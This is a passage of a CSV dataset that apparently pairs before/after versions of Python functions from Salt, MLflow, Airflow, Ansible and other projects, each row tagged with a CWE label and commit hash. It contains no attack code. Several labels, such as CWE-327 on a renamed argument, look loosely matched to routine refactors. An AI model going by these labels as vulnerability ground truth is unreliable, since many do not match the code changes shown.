    with patch.dict(vmctl.__salt__, {""cmd.run_all"": mock_cmd}):
        assert expected == vmctl.start(""4"")"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/jboss7.py,0,"def create_simple_binding(jboss_config, binding_name, value):
    '''
    Create a simple jndi binding in the running jboss instance

    jboss_config
        Configuration dictionary with properties specified above.
    binding_name
        Binding name to be created
    value
        Binding value

    CLI Example:

    .. code-block:: bash

        salt '*' jboss7.create_simple_binding \\
                '{""cli_path"": ""integration.modules.sysmod.SysModuleTest.test_valid_docs"", \\
                ""controller"": ""10.11.12.13:9999"", ""cli_user"": ""jbossadm"", ""cli_password"": ""jbossadm""}' \\
                my_binding_name my_binding_value
    '''
    log.debug(""======================== MODULE FUNCTION: jboss7.create_simple_binding, binding_name=%s, value=%s"", binding_name, value)
    operation = '/subsystem=naming/binding=""{binding_name}"":add(binding-type=simple, value=""{value}"")'.format(
          binding_name=binding_name,
          value=__escape_binding_value(value)
    )
    return __salt__['jboss7_cli.run_operation'](jboss_config, operation)",,saltstack/salt,430c48c5ead7b5443fa5b0ca728418cc6b1be7e2,"def create_simple_binding(jboss_config, binding_name, value):
    '''
    Create a simple jndi binding in the running jboss instance

    jboss_config
        Configuration dictionary with properties specified above.
    binding_name
        Binding name to be created
    value
        Binding value

    CLI Example:

    .. code-block:: bash

        salt '*' jboss7.create_simple_binding '{""cli_path"": ""integration.modules.sysmod.SysModuleTest.test_valid_docs"", ""controller"": ""10.11.12.13:9999"", ""cli_user"": ""jbossadm"", ""cli_password"": ""jbossadm""}' my_binding_name my_binding_value
       '''
    log.debug(""======================== MODULE FUNCTION: jboss7.create_simple_binding, binding_name=%s, value=%s"", binding_name, value)
    operation = '/subsystem=naming/binding=""{binding_name}"":add(binding-type=simple, value=""{value}"")'.format(
          binding_name=binding_name,
          value=__escape_binding_value(value)
    )
    return __salt__['jboss7_cli.run_operation'](jboss_config, operation)"
,UNKNOWN,UNKNOWN,tests/pipelines/test_ingest_step.py,1,"def test_ingest_produces_expected_step_card(pandas_df, tmp_path):
    dataset_path = tmp_path / ""df.parquet""
    pandas_df.to_parquet(dataset_path)

    IngestStep.from_pipeline_config(
        pipeline_config={
            ""data"": {
                ""format"": ""parquet"",
                ""location"": str(dataset_path),
            }
        },
        pipeline_root=os.getcwd(),
    ).run(output_directory=tmp_path)

    expected_step_card_path = os.path.join(tmp_path, ""card.html"")
    assert os.path.exists(expected_step_card_path)
    with open(expected_step_card_path, ""r"") as f:
        step_card_html_content = f.read()

    assert ""Dataset source location"" in step_card_html_content
    assert ""Number of rows ingested"" in step_card_html_content
    assert ""facets-overview"" in step_card_html_content",CWE-703,mlflow/mlflow,2487179a9f239024667946e7d31706a91f2536b8,"def test_ingest_produces_expected_step_card(pandas_df, tmp_path):
    dataset_path = tmp_path / ""df.parquet""
    pandas_df.to_parquet(dataset_path)

    IngestStep.from_pipeline_config(
        pipeline_config={
            ""data"": {
                ""format"": ""parquet"",
                ""location"": str(dataset_path),
            }
        },
        pipeline_root=os.getcwd(),
    ).run(output_directory=tmp_path)

    expected_step_card_path = os.path.join(tmp_path, ""card.html"")
    assert os.path.exists(expected_step_card_path)
    with open(expected_step_card_path, ""r"") as f:
        step_card_html_content = f.read()

    assert ""Dataset source location"" in step_card_html_content
    assert ""Number of rows ingested"" in step_card_html_content
    assert ""Profile of Ingested Dataset"" in step_card_html_content"
,UNKNOWN,UNKNOWN,task-sdk/tests/task_sdk/definitions/test_xcom_arg.py,1,"def test_xcom_map(run_ti: RunTI, mock_supervisor_comms):
    results = set()
    with DAG(""test"") as dag:

        @dag.task
        def push():
            return [""a"", ""b"", ""c""]

        @dag.task
        def pull(value):
            results.add(value)

        pull.expand_kwargs(push().map(lambda v: {""value"": v * 2}))

    # The function passed to ""map"" is *NOT* a task.
    assert set(dag.task_dict) == {""push"", ""pull""}

    # Mock xcom result from push task
    mock_supervisor_comms.send.return_value = XComResult(key=""return_value"", value=[""a"", ""b"", ""c""])

    for map_index in range(3):
        assert run_ti(dag, ""pull"", map_index) == TaskInstanceState.SUCCESS

    assert results == {""aa"", ""bb"", ""cc""}",CWE-703,apache/airflow,accfbc3dc06b73cc0ae3d2d77454ff5669788ae5,"def test_xcom_map(run_ti: RunTI, mock_supervisor_comms):
    results = set()
    with DAG(""test"") as dag:

        @dag.task
        def push():
            return [""a"", ""b"", ""c""]

        @dag.task
        def pull(value):
            results.add(value)

        pull.expand_kwargs(push().map(lambda v: {""value"": v * 2}))

    # The function passed to ""map"" is *NOT* a task.
    assert set(dag.task_dict) == {""push"", ""pull""}

    # Mock xcom result from push task
    mock_supervisor_comms.get_message.return_value = XComResult(key=""return_value"", value=[""a"", ""b"", ""c""])

    for map_index in range(3):
        assert run_ti(dag, ""pull"", map_index) == TaskInstanceState.SUCCESS

    assert results == {""aa"", ""bb"", ""cc""}"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def __init__(self, opts, timeout=60, safe=True):  # pylint: disable=W0231
        '''
        Pass in the options dict
        '''
        self._running = None
        self.win_proc = []

        # Warn if ZMQ < 3.2
        if HAS_ZMQ:
            try:
                zmq_version_info = zmq.zmq_version_info()
            except AttributeError:
                # PyZMQ <= 2.1.9 does not have zmq_version_info, fall back to
                # using zmq.zmq_version() and build a version info tuple.
                zmq_version_info = tuple(
                    [int(x) for x in zmq.zmq_version().split('.')]
                )
            if zmq_version_info < (3, 2):
                log.warning(
                    'You have a version of ZMQ less than ZMQ 3.2! There are '
                    'known connection keep-alive issues with ZMQ < 3.2 which '
                    'may result in loss of contact with minions. Please '
                    'upgrade your ZMQ!'
                )
        # Late setup the of the opts grains, so we can log from the grains
        # module
        opts['grains'] = salt.loader.grains(opts)

        # evaluate the master to connect to and authenticate with it
        opts['master'] = self.eval_master(opts,
                                          timeout,
                                          safe)

        self.opts['pillar'] = salt.pillar.get_pillar(
            opts,
            opts['grains'],
            opts['id'],
            opts['environment']
        ).compile_pillar()
        self.functions, self.returners, self.function_errors = self._load_modules()
        self.serial = salt.payload.Serial(self.opts)
        self.mod_opts = self._prep_mod_opts()
        self.matcher = Matcher(self.opts, self.functions)
        self.proc_dir = get_proc_dir(opts['cachedir'])
        self.schedule = salt.utils.schedule.Schedule(
            self.opts,
            self.functions,
            self.returners)

        # add default scheduling jobs to the minions scheduler
        if 'mine.update' in self.functions:
            log.info('Added mine.update to scheduler')
            self.schedule.add_job({
                '__mine_interval':
                {
                    'function': 'mine.update',
                    'minutes': opts['mine_interval'],
                    'jid_include': True,
                    'maxrunning': 2
                }
            })

        # add master_alive job if enabled
        if self.opts['master_alive_interval'] > 0:
            self.schedule.add_job({
                '__master_alive':
                {
                    'function': 'status.master',
                    'seconds': opts['master_alive_interval'],
                    'jid_include': True,
                    'maxrunning': 1,
                    'kwargs': {'master': self.opts['master'],
                               'connected': True}
                }
            })

        self.grains_cache = self.opts['grains']

        # store your hexid to subscribe to zmq, hash since zmq filters are prefix
        # matches this way we can avoid collisions
        self.hexid = hashlib.sha1(self.opts['id']).hexdigest()

        if 'proxy' in self.opts['pillar']:
            log.debug('I am {0} and I need to start some proxies for {1}'.format(self.opts['id'],
                                                                                 self.opts['pillar']['proxy']))
            for p in self.opts['pillar']['proxy']:
                log.debug('Starting {0} proxy.'.format(p))
                pid = os.fork()
                if pid > 0:
                    continue
                else:
                    proxyminion = salt.ProxyMinion()
                    proxyminion.start(self.opts['pillar']['proxy'][p])
                    self.clean_die(signal.SIGTERM, None)
        else:
            log.debug('I am {0} and I am not supposed to start any proxies. '
                      '(Likely not a problem)'.format(self.opts['id']))",CWE-327,saltstack/salt,f61d91ae6725bc2ee13d8d476c660e718d2c5f7a,"def __init__(self, opts, timeout=60, safe=True):  # pylint: disable=W0231
        '''
        Pass in the options dict
        '''
        self._running = None
        self.win_proc = []

        # Warn if ZMQ < 3.2
        if HAS_ZMQ:
            try:
                zmq_version_info = zmq.zmq_version_info()
            except AttributeError:
                # PyZMQ <= 2.1.9 does not have zmq_version_info, fall back to
                # using zmq.zmq_version() and build a version info tuple.
                zmq_version_info = tuple(
                    [int(x) for x in zmq.zmq_version().split('.')]
                )
            if zmq_version_info < (3, 2):
                log.warning(
                    'You have a version of ZMQ less than ZMQ 3.2! There are '
                    'known connection keep-alive issues with ZMQ < 3.2 which '
                    'may result in loss of contact with minions. Please '
                    'upgrade your ZMQ!'
                )
        # Late setup the of the opts grains, so we can log from the grains
        # module
        opts['grains'] = salt.loader.grains(opts)

        # evaluate the master to connect to and authenticate with it
        opts['master'] = self.eval_master(opts,
                                          timeout,
                                          safe)

        self.opts['pillar'] = salt.pillar.get_pillar(
            opts,
            opts['grains'],
            opts['id'],
            opts['environment']
        ).compile_pillar()
        self.functions, self.returners, self.function_errors = self._load_modules()
        self.serial = salt.payload.Serial(self.opts)
        self.mod_opts = self._prep_mod_opts()
        self.matcher = Matcher(self.opts, self.functions)
        self.proc_dir = get_proc_dir(opts['cachedir'])
        self.schedule = salt.utils.schedule.Schedule(
            self.opts,
            self.functions,
            self.returners)

        # add default scheduling jobs to the minions scheduler
        if 'mine.update' in self.functions:
            log.info('Added mine.update to scheduler')
            self.schedule.add_job({
                '__mine_interval':
                {
                    'function': 'mine.update',
                    'minutes': opts['mine_interval'],
                    'jid_include': True,
                    'maxrunning': 2
                }
            })

        # add master_alive job if enabled
        if self.opts['master_alive_interval'] > 0:
            self.schedule.add_job({
                '__master_alive':
                {
                    'function': 'status.master',
                    'seconds': opts['master_alive_interval'],
                    'jid_include': True,
                    'maxrunning': 1,
                    'kwargs': {'master_ip': self.opts['master'],
                               'connected': True}
                }
            })

        self.grains_cache = self.opts['grains']

        # store your hexid to subscribe to zmq, hash since zmq filters are prefix
        # matches this way we can avoid collisions
        self.hexid = hashlib.sha1(self.opts['id']).hexdigest()

        if 'proxy' in self.opts['pillar']:
            log.debug('I am {0} and I need to start some proxies for {1}'.format(self.opts['id'],
                                                                                 self.opts['pillar']['proxy']))
            for p in self.opts['pillar']['proxy']:
                log.debug('Starting {0} proxy.'.format(p))
                pid = os.fork()
                if pid > 0:
                    continue
                else:
                    proxyminion = salt.ProxyMinion()
                    proxyminion.start(self.opts['pillar']['proxy'][p])
                    self.clean_die(signal.SIGTERM, None)
        else:
            log.debug('I am {0} and I am not supposed to start any proxies. '
                      '(Likely not a problem)'.format(self.opts['id']))"
,UNKNOWN,UNKNOWN,lib/ansible/modules/source_control/git.py,1,"def clone(git_path, module, repo, dest, remote, depth, version, bare,
          reference, refspec, verify_commit):
    ''' makes a new git repo if it does not already exist '''
    dest_dirname = os.path.dirname(dest)
    try:
        os.makedirs(dest_dirname)
    except:
        pass
    cmd = [ git_path, 'clone' ]
    if bare:
        cmd.append('--bare')
    else:
        cmd.extend([ '--origin', remote ])
        if is_remote_branch(git_path, module, dest, repo, version) \
        or is_remote_tag(git_path, module, dest, repo, version):
            cmd.extend([ '--branch', version ])
    if depth:
        cmd.extend([ '--depth', str(depth) ])
    if reference:
        cmd.extend([ '--reference', str(reference) ])
    cmd.extend([ repo, dest ])
    module.run_command(cmd, check_rc=True, cwd=dest_dirname)
    if bare:
        if remote != 'origin':
            module.run_command([git_path, 'remote', 'add', remote, repo], check_rc=True, cwd=dest)

    if refspec:
        cmd = [git_path, 'fetch']
        if depth:
            cmd.extend([ '--depth', str(depth) ])
        cmd.extend([remote, refspec])
        module.run_command(cmd, check_rc=True, cwd=dest)

    if verify_commit:
        verify_commit_sign(git_path, module, dest, version)",CWE-703,ansible/ansible,b9e55a08777de10f13accbf39030940486b05d80,"def clone(git_path, module, repo, dest, remote, depth, version, bare,
          reference, refspec, verify_commit):
    ''' makes a new git repo if it does not already exist '''
    dest_dirname = os.path.dirname(dest)
    try:
        os.makedirs(dest_dirname)
    except:
        pass
    cmd = [ git_path, 'clone' ]
    if bare:
        cmd.append('--bare')
    else:
        cmd.extend([ '--origin', remote ])
        if is_remote_branch(git_path, module, dest, repo, version) \
        or is_remote_tag(git_path, module, dest, repo, version):
            cmd.extend([ '--branch', version ])
    if depth:
        cmd.extend([ '--depth', str(depth) ])
    if reference:
        cmd.extend([ '--reference', str(reference) ])
    cmd.extend([ repo, dest ])
    module.run_command(cmd, check_rc=True, cwd=dest_dirname)
    if bare:
        if remote != 'origin':
            module.run_command([git_path, 'remote', 'add', remote, repo], check_rc=True, cwd=dest)

    if refspec:
        module.run_command([git_path, 'fetch', remote, refspec], check_rc=True, cwd=dest)

    if verify_commit:
        verify_commit_sign(git_path, module, dest, version)"
,UNKNOWN,UNKNOWN,tests/tracking/test_fluent.py,1,"def test_start_run_defaults(empty_active_run_stack):

    mock_experiment_id = mock.Mock()
    experiment_id_patch = mock.patch(
        ""mlflow.tracking.fluent._get_experiment_id"", return_value=mock_experiment_id
    )
    databricks_notebook_patch = mock.patch(
        ""mlflow.tracking.fluent.is_in_databricks_notebook"", return_value=False
    )
    mock_source_name = mock.Mock()
    source_name_patch = mock.patch(
        ""mlflow.tracking.context._get_source_name"", return_value=mock_source_name
    )
    mock_source_type = mock.Mock()
    source_type_patch = mock.patch(
        ""mlflow.tracking.context._get_source_type"", return_value=mock_source_type
    )
    mock_source_version = mock.Mock()
    source_version_patch = mock.patch(
        ""mlflow.tracking.context._get_source_version"", return_value=mock_source_version
    )

    expected_tags = {
        mlflow_tags.MLFLOW_SOURCE_NAME: mock_source_name,
        mlflow_tags.MLFLOW_SOURCE_TYPE: ""some source"",
        mlflow_tags.MLFLOW_GIT_COMMIT: mock_source_version
    }

    with experiment_id_patch, databricks_notebook_patch, source_name_patch, source_type_patch, \
            source_version_patch, mock.patch.object(MlflowClient, ""create_run""), \
            mock.patch.object(SourceType, ""to_string"", return_value=""some source""), \
            mock.patch.object(SourceType, ""from_string"", return_value=mock_source_type):
        active_run = start_run()
        MlflowClient.create_run.assert_called_once_with(
            experiment_id=mock_experiment_id,
            run_name=None,
            source_name=mock_source_name,
            source_version=mock_source_version,
            entry_point_name=None,
            source_type=mock_source_type,
            tags=expected_tags,
            parent_run_id=None
        )
        assert is_from_run(active_run, MlflowClient.create_run.return_value)",CWE-703,mlflow/mlflow,b9224ee28f8d1fe669ae9c09738257bcaf0efd19,"def test_start_run_defaults(empty_active_run_stack):

    mock_experiment_id = mock.Mock()
    experiment_id_patch = mock.patch(
        ""mlflow.tracking.fluent._get_experiment_id"", return_value=mock_experiment_id
    )
    databricks_notebook_patch = mock.patch(
        ""mlflow.tracking.fluent.is_in_databricks_notebook"", return_value=False
    )
    mock_source_name = mock.Mock()
    source_name_patch = mock.patch(
        ""mlflow.tracking.context._get_source_name"", return_value=mock_source_name
    )
    mock_source_type = mock.Mock()
    source_type_patch = mock.patch(
        ""mlflow.tracking.context._get_source_type"", return_value=mock_source_type
    )
    mock_source_version = mock.Mock()
    source_version_patch = mock.patch(
        ""mlflow.tracking.context._get_source_version"", return_value=mock_source_version
    )

    create_run_patch = mock.patch.object(MlflowClient, ""create_run"")

    expected_tags = {
        mlflow_tags.MLFLOW_SOURCE_NAME: mock_source_name,
        mlflow_tags.MLFLOW_SOURCE_TYPE: mock_source_type,
        mlflow_tags.MLFLOW_GIT_COMMIT: mock_source_version
    }

    with experiment_id_patch, databricks_notebook_patch, source_name_patch, source_type_patch, \
            source_version_patch, create_run_patch:
        active_run = start_run()
        MlflowClient.create_run.assert_called_once_with(
            experiment_id=mock_experiment_id,
            run_name=None,
            source_name=mock_source_name,
            source_version=mock_source_version,
            entry_point_name=None,
            source_type=mock_source_type,
            tags=expected_tags,
            parent_run_id=None
        )
        assert is_from_run(active_run, MlflowClient.create_run.return_value)"
,UNKNOWN,UNKNOWN,salt/modules/xmpp.py,1,"def send_msg(recipient, message, jid=None, password=None, profile=None):
    '''
    Send a message to an XMPP recipient. Designed for use in states.

    CLI Examples::

        xmpp.send_msg 'admins@xmpp.example.com' 'This is a salt module test' \
            profile='my-xmpp-account'
        xmpp.send_msg 'admins@xmpp.example.com' 'This is a salt module test' \
            jid='myuser@xmpp.example.com/salt' password='verybadpass'
    '''
    if profile:
        creds = __salt__['config.option'](profile)
        jid = creds.get('xmpp.jid')
        password = creds.get('xmpp.password')

    xmpp = SendMsgBot(jid, password, recipient, message)
    xmpp.register_plugin('xep_0030')  # Service Discovery
    xmpp.register_plugin('xep_0199')  # XMPP Ping

    if xmpp.connect():
        xmpp.process(block=True)
        return True
    return False",CWE-259,saltstack/salt,c9bf4339305062bfd13a261185404b436958b92c,"def send_msg(recipient, message, jid=None, password=None, profile=None):
    '''
    Send a message to an XMPP recipient. Designed for use in states.

    CLI Examples::

        xmpp.send_msg 'admins@xmpp.example.com' 'This is a salt module test' \
            profile='my-xmpp-account'
        xmpp.send_msg 'admins@xmpp.example.com' 'This is a salt module test' \
            jid='myuser@xmpp.example.com/salt' password='verybadpass'
    '''
    if profile:
        creds = __salt__['config.option'](profile)
        jid = creds.get('xmpp.jid')
        password = creds.get('xmpp.password')

    xmpp = SendMsgBot(jid, password, recipient, message)
    xmpp.register_plugin('xep_0030') # Service Discovery
    xmpp.register_plugin('xep_0199') # XMPP Ping

    if xmpp.connect():
        xmpp.process(block=True)
        return True
    return False"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/test/httpclient_test.py,0,"def get(self):
        self.set_status(304)
        self.set_header(""Content-Length"", 42)",CWE-Unknown,tornadoweb/tornado,f19f86891571a0d7e81e0d98de12ca223395993d,"def get(self):
        self.set_status(304)
        self.set_header(""Content-Length"", 42)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/ui/api/tests/utils/api_unittest.py,0,"def wait_until_finish(self, wait_loops=100):
        """"""
        Wait until the scan is in Stopped state
        :return: The HTTP response
        """"""
        status = None

        for _ in xrange(wait_loops):
            time.sleep(0.5)

            response = self.app.get('/scans/', headers=self.HEADERS)
            self.assertEqual(response.status_code, 200, response.data)

            status = json.loads(response.data)['items'][0]['status']
            if status != 'Running':
                return response

        msg = 'Timeout waiting for scan to finish, latest status is: ""%s""'
        raise RuntimeError(msg % status)",,andresriancho/w3af,21c211df59f9af10502a47eb19f4bac4dc639ca4,"def wait_until_finish(self, wait_loops=100):
        """"""
        Wait until the scan is in Stopped state
        :return: The HTTP response
        """"""
        status = None
        
        for _ in xrange(wait_loops):
            time.sleep(0.5)

            response = self.app.get('/scans/', headers=self.HEADERS)
            self.assertEqual(response.status_code, 200, response.data)

            status = json.loads(response.data)['items'][0]['status']
            if status != 'Running':
                return response

        msg = 'Timeout waiting for scan to finish, latest status is: ""%s""'
        raise RuntimeError(msg % status)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/strategy/free.py,0,"def run(self, iterator, play_context):
        '''
        The ""free"" strategy is a bit more complex, in that it allows tasks to
        be sent to hosts as quickly as they can be processed. This means that
        some hosts may finish very quickly if run tasks result in little or no
        work being done versus other systems.

        The algorithm used here also tries to be more ""fair"" when iterating
        through hosts by remembering the last host in the list to be given a task
        and starting the search from there as opposed to the top of the hosts
        list again, which would end up favoring hosts near the beginning of the
        list.
        '''

        # the last host to be given a task
        last_host = 0

        result = self._tqm.RUN_OK

        # start with all workers being counted as being free
        workers_free = len(self._workers)

        self._set_hosts_cache(iterator._play)

        if iterator._play.max_fail_percentage is not None:
            display.warning(""Using max_fail_percentage with the free strategy is not supported, as tasks are executed independently on each host"")

        work_to_do = True
        while work_to_do and not self._tqm._terminated:

            hosts_left = self.get_hosts_left(iterator)

            if len(hosts_left) == 0:
                self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                result = False
                break

            work_to_do = False        # assume we have no more work to do
            starting_host = last_host  # save current position so we know when we've looped back around and need to break

            # try and find an unblocked host with a task to run
            host_results = []
            meta_task_dummy_results_count = 0
            while True:
                host = hosts_left[last_host]
                display.debug(""next free host: %s"" % host)
                host_name = host.get_name()

                # peek at the next task for the host, to see if there's
                # anything to do do for this host
                (state, task) = iterator.get_next_task_for_host(host, peek=True)
                display.debug(""free host state: %s"" % state, host=host_name)
                display.debug(""free host task: %s"" % task, host=host_name)

                # check if there is work to do, either there is a task or the host is still blocked which could
                # mean that it is processing an include task and after its result is processed there might be
                # more tasks to run
                if (task or self._blocked_hosts.get(host_name, False)) and not self._tqm._unreachable_hosts.get(host_name, False):
                    display.debug(""this host has work to do"", host=host_name)
                    # set the flag so the outer loop knows we've still found
                    # some work which needs to be done
                    work_to_do = True

                if not self._tqm._unreachable_hosts.get(host_name, False) and task:
                    # check to see if this host is blocked (still executing a previous task)
                    if not self._blocked_hosts.get(host_name, False):
                        display.debug(""getting variables"", host=host_name)
                        task_vars = self._variable_manager.get_vars(play=iterator._play, host=host, task=task,
                                                                    _hosts=self._hosts_cache,
                                                                    _hosts_all=self._hosts_cache_all)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        templar = Templar(loader=self._loader, variables=task_vars)
                        display.debug(""done getting variables"", host=host_name)

                        try:
                            throttle = int(templar.template(task.throttle))
                        except Exception as e:
                            raise AnsibleError(""Failed to convert the throttle value to an integer."", obj=task._ds, orig_exc=e)

                        if throttle > 0:
                            same_tasks = 0
                            for worker in self._workers:
                                if worker and worker.is_alive() and worker._task._uuid == task._uuid:
                                    same_tasks += 1

                            display.debug(""task: %s, same_tasks: %d"" % (task.get_name(), same_tasks))
                            if same_tasks >= throttle:
                                break

                        # advance the host, mark the host blocked, and queue it
                        self._blocked_hosts[host_name] = True
                        iterator.set_state_for_host(host.name, state)
                        if isinstance(task, Handler):
                            task.remove_host(host)

                        try:
                            action = action_loader.get(task.action, class_only=True, collection_list=task.collections)
                        except KeyError:
                            # we don't care here, because the action may simply not have a
                            # corresponding action plugin
                            action = None

                        try:
                            task.name = to_text(templar.template(task.name, fail_on_undefined=False), nonstring='empty')
                            display.debug(""done templating"", host=host_name)
                        except Exception:
                            # just ignore any errors during task name templating,
                            # we don't care if it just shows the raw name
                            display.debug(""templating failed for some reason"", host=host_name)

                        run_once = templar.template(task.run_once) or action and getattr(action, 'BYPASS_HOST_LOOP', False)
                        if run_once:
                            if action and getattr(action, 'BYPASS_HOST_LOOP', False):
                                raise AnsibleError(""The '%s' module bypasses the host loop, which is currently not supported in the free strategy ""
                                                   ""and would instead execute for every host in the inventory list."" % task.action, obj=task._ds)
                            else:
                                display.warning(""Using run_once with the free strategy is not currently supported. This task will still be ""
                                                ""executed for every host in the inventory list."")

                        # check to see if this task should be skipped, due to it being a member of a
                        # role which has already run (and whether that role allows duplicate execution)
                        if not isinstance(task, Handler) and task._role:
                            role_obj = self._get_cached_role(task, iterator._play)
                            if role_obj.has_run(host) and task._role._metadata.allow_duplicates is False:
                                display.debug(""'%s' skipped because role has already run"" % task, host=host_name)
                                del self._blocked_hosts[host_name]
                                continue

                        if task.action in C._ACTION_META:
                            if self._host_pinned:
                                meta_task_dummy_results_count += 1
                                workers_free -= 1
                            self._execute_meta(task, play_context, iterator, target_host=host)
                            self._blocked_hosts[host_name] = False
                        else:
                            # handle step if needed, skip meta actions as they are used internally
                            if not self._step or self._take_step(task, host_name):
                                if task.any_errors_fatal:
                                    display.warning(""Using any_errors_fatal with the free strategy is not supported, ""
                                                    ""as tasks are executed independently on each host"")
                                if isinstance(task, Handler):
                                    self._tqm.send_callback('v2_playbook_on_handler_task_start', task)
                                else:
                                    self._tqm.send_callback('v2_playbook_on_task_start', task, is_conditional=False)
                                self._queue_task(host, task, task_vars, play_context)
                                # each task is counted as a worker being busy
                                workers_free -= 1
                                del task_vars
                    else:
                        display.debug(""%s is blocked, skipping for now"" % host_name)

                # all workers have tasks to do (and the current host isn't done with the play).
                # loop back to starting host and break out
                if self._host_pinned and workers_free == 0 and work_to_do:
                    last_host = starting_host
                    break

                # move on to the next host and make sure we
                # haven't gone past the end of our hosts list
                last_host += 1
                if last_host > len(hosts_left) - 1:
                    last_host = 0

                # if we've looped around back to the start, break out
                if last_host == starting_host:
                    break

            results = self._process_pending_results(iterator)
            host_results.extend(results)

            # each result is counted as a worker being free again
            workers_free += len(results) + meta_task_dummy_results_count

            self.update_active_connections(results)

            included_files = IncludedFile.process_include_results(
                host_results,
                iterator=iterator,
                loader=self._loader,
                variable_manager=self._variable_manager
            )

            if len(included_files) > 0:
                all_blocks = dict((host, []) for host in hosts_left)
                failed_includes_hosts = set()
                for included_file in included_files:
                    display.debug(""collecting new blocks for %s"" % included_file)
                    is_handler = False
                    try:
                        if included_file._is_role:
                            new_ir = self._copy_included_file(included_file)

                            new_blocks, handler_blocks = new_ir.get_block_list(
                                play=iterator._play,
                                variable_manager=self._variable_manager,
                                loader=self._loader,
                            )
                        else:
                            is_handler = isinstance(included_file._task, Handler)
                            new_blocks = self._load_included_file(
                                included_file,
                                iterator=iterator,
                                is_handler=is_handler,
                                handle_stats_and_callbacks=False,
                            )

                        # let PlayIterator know about any new handlers included via include_role or
                        # import_role within include_role/include_taks
                        iterator.handlers = [h for b in iterator._play.handlers for h in b.block]
                    except AnsibleParserError:
                        raise
                    except AnsibleError as e:
                        display.error(to_text(e), wrap_text=False)
                        for r in included_file._results:
                            r._result['failed'] = True
                            r._result['reason'] = str(e)
                            self._tqm._stats.increment('failures', r._host.name)
                            self._tqm.send_callback('v2_runner_on_failed', r)
                            failed_includes_hosts.add(r._host)
                        continue
                    else:
                        # since we skip incrementing the stats when the task result is
                        # first processed, we do so now for each host in the list
                        for host in included_file._hosts:
                            self._tqm._stats.increment('ok', host.name)
                        self._tqm.send_callback('v2_playbook_on_include', included_file)

                    for new_block in new_blocks:
                        if is_handler:
                            for task in new_block.block:
                                task.notified_hosts = included_file._hosts[:]
                            final_block = new_block
                        else:
                            task_vars = self._variable_manager.get_vars(
                                play=iterator._play,
                                task=new_block.get_first_parent_include(),
                                _hosts=self._hosts_cache,
                                _hosts_all=self._hosts_cache_all,
                            )
                            final_block = new_block.filter_tagged_tasks(task_vars)
                        for host in hosts_left:
                            if host in included_file._hosts:
                                all_blocks[host].append(final_block)
                    display.debug(""done collecting new blocks for %s"" % included_file)

                for host in failed_includes_hosts:
                    self._tqm._failed_hosts[host.name] = True
                    iterator.mark_host_failed(host)

                display.debug(""adding all collected blocks from %d included file(s) to iterator"" % len(included_files))
                for host in hosts_left:
                    iterator.add_tasks(host, all_blocks[host])
                display.debug(""done adding collected blocks to iterator"")

            # pause briefly so we don't spin lock
            time.sleep(C.DEFAULT_INTERNAL_POLL_INTERVAL)

        # collect all the final results
        results = self._wait_on_pending_results(iterator)

        # run the base class run() method, which executes the cleanup function
        # and runs any outstanding handlers which have been triggered
        return super(StrategyModule, self).run(iterator, play_context, result)",,ansible/ansible,149b068dfefb8f5ee2f992bf8ed8e895205018ec,"def run(self, iterator, play_context):
        '''
        The ""free"" strategy is a bit more complex, in that it allows tasks to
        be sent to hosts as quickly as they can be processed. This means that
        some hosts may finish very quickly if run tasks result in little or no
        work being done versus other systems.

        The algorithm used here also tries to be more ""fair"" when iterating
        through hosts by remembering the last host in the list to be given a task
        and starting the search from there as opposed to the top of the hosts
        list again, which would end up favoring hosts near the beginning of the
        list.
        '''

        # the last host to be given a task
        last_host = 0

        result = self._tqm.RUN_OK

        # start with all workers being counted as being free
        workers_free = len(self._workers)

        self._set_hosts_cache(iterator._play)

        if iterator._play.max_fail_percentage is not None:
            display.warning(""Using max_fail_percentage with the free strategy is not supported, as tasks are executed independently on each host"")

        work_to_do = True
        while work_to_do and not self._tqm._terminated:

            hosts_left = self.get_hosts_left(iterator)

            if len(hosts_left) == 0:
                self._tqm.send_callback('v2_playbook_on_no_hosts_remaining')
                result = False
                break

            work_to_do = False        # assume we have no more work to do
            starting_host = last_host  # save current position so we know when we've looped back around and need to break

            # try and find an unblocked host with a task to run
            host_results = []
            while True:
                host = hosts_left[last_host]
                display.debug(""next free host: %s"" % host)
                host_name = host.get_name()

                # peek at the next task for the host, to see if there's
                # anything to do do for this host
                (state, task) = iterator.get_next_task_for_host(host, peek=True)
                display.debug(""free host state: %s"" % state, host=host_name)
                display.debug(""free host task: %s"" % task, host=host_name)

                # check if there is work to do, either there is a task or the host is still blocked which could
                # mean that it is processing an include task and after its result is processed there might be
                # more tasks to run
                if (task or self._blocked_hosts.get(host_name, False)) and not self._tqm._unreachable_hosts.get(host_name, False):
                    display.debug(""this host has work to do"", host=host_name)
                    # set the flag so the outer loop knows we've still found
                    # some work which needs to be done
                    work_to_do = True

                if not self._tqm._unreachable_hosts.get(host_name, False) and task:
                    # check to see if this host is blocked (still executing a previous task)
                    if not self._blocked_hosts.get(host_name, False):
                        display.debug(""getting variables"", host=host_name)
                        task_vars = self._variable_manager.get_vars(play=iterator._play, host=host, task=task,
                                                                    _hosts=self._hosts_cache,
                                                                    _hosts_all=self._hosts_cache_all)
                        self.add_tqm_variables(task_vars, play=iterator._play)
                        templar = Templar(loader=self._loader, variables=task_vars)
                        display.debug(""done getting variables"", host=host_name)

                        try:
                            throttle = int(templar.template(task.throttle))
                        except Exception as e:
                            raise AnsibleError(""Failed to convert the throttle value to an integer."", obj=task._ds, orig_exc=e)

                        if throttle > 0:
                            same_tasks = 0
                            for worker in self._workers:
                                if worker and worker.is_alive() and worker._task._uuid == task._uuid:
                                    same_tasks += 1

                            display.debug(""task: %s, same_tasks: %d"" % (task.get_name(), same_tasks))
                            if same_tasks >= throttle:
                                break

                        # advance the host, mark the host blocked, and queue it
                        self._blocked_hosts[host_name] = True
                        iterator.set_state_for_host(host.name, state)
                        if isinstance(task, Handler):
                            task.remove_host(host)

                        try:
                            action = action_loader.get(task.action, class_only=True, collection_list=task.collections)
                        except KeyError:
                            # we don't care here, because the action may simply not have a
                            # corresponding action plugin
                            action = None

                        try:
                            task.name = to_text(templar.template(task.name, fail_on_undefined=False), nonstring='empty')
                            display.debug(""done templating"", host=host_name)
